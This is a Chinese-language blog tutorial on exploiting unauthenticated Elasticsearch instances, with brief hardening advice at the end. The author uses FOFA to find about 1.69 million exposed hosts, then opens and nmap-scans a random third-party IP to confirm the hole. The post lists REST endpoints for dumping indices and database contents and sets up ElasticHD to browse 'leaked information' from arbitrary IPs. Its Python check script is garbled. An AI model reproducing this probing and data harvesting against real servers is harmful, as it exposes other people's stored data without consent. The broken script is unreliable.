简述
Elasticsearch是一个开源的高扩展的分布式全文搜索引擎,他可以近乎实时的存储、检索数据,本身扩展性很好,可以扩展到上百台服务器,处理PB级别的数据,Elasticsearch也使用Java开发并使用Lucene作为其核心来实现所有索引和搜索的功能,但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性,从而让全文搜索变得简单。
漏洞原理:Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
一、本地漏洞验证
1.信息收集
nmap -sV 192.168

2.漏洞复现,
访问地址:http://192.168.20.68:9200/

二、外网探索漏洞
我用FOFA搜索开放了9200端口的IP,获得1,687,803条数据

随便打开一个ip的9200端口,发现存在漏洞

再使用nmap扫描一下ip,发现漏洞确实存在,而且看其他端口的服务,可能存在的漏洞还不少,今天就不探讨其他漏洞了。

三、信息查看
elasticsearch在安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等)。http://localhost:9200/cat/indices里面的indices包含了river一般就是安装了river了。
http://localhost:9200/rvier/search就可以查看敏感信息了
http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/river/search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据
http:// localhost:9200/_cat/indices获取所有的index

http:// localhost:9200/_mapping?pretty=true 获取index下的所有type

http:// localhost:9200/pv_fun_all/school/_search?pretty=true 获取该index下该type下的内容

四、漏洞利用
3.1 还可以在kali中搭建ElasticHD,在浏览器中远程连接就可以看到ES节点服务器可视化数据的全貌了
下载地址:
https://github.com/360EntSecGroup-Skylar/ElasticHD/releases/download/1.4/elasticHD_linux_amd64.zip
1.可以下载好了再复制进kali,也可以直接在kali中下载
wget https://github.com/360EntSecGroup-Skylar/ElasticHD/releases/download/1.4/elasticHD_linux_amd64.zip
2.解压
unzip elasticHD_linux_amd64.zip
3.加权限
chmod 777 ElasticHD
4.运行ElasticHD
exec ./ElasticHD -p 127.0.0.1:9801
我运行完命令,终端会自动关闭
5.打开浏览器访问http://127.0.0.1:9801/
在浏览器中访问127.0.0.1:9801, 在下面输入需要探索的ip地址,然后点击connect就可以看到泄露的信息,点击模块Query还可以查看详细信息。

3.2 Python未授权访问脚本
#! /usr/bin/env python
* coding:utf-8 *
import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
try:
url = "http://"+ip+":"+str(port)+"/_cat"
response = requests.get(url)
except:
pass
if "/_cat/master" in response.content:
print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)
if name == 'main':
Elasticsearch_check("127.0.0.1")
五、加固方案
1、限制IP访问,绑定固定IP
2、在config/elasticsearch.yml中为9200端口设置认证:
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
参考链接
https://yq.aliyun.com/articles/616757
https://blog.csdn.net/qq_32393893/article/details/105387471.
https://blog.csdn.net/qq_44108455/article/details/108102982?spm=1001.2101.3001.4242
声明:
本文仅限于大家技术交流和学习,严谨读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞支持一下。谢谢各位读者大老爷。

3065

被折叠的 条评论
为什么被折叠?



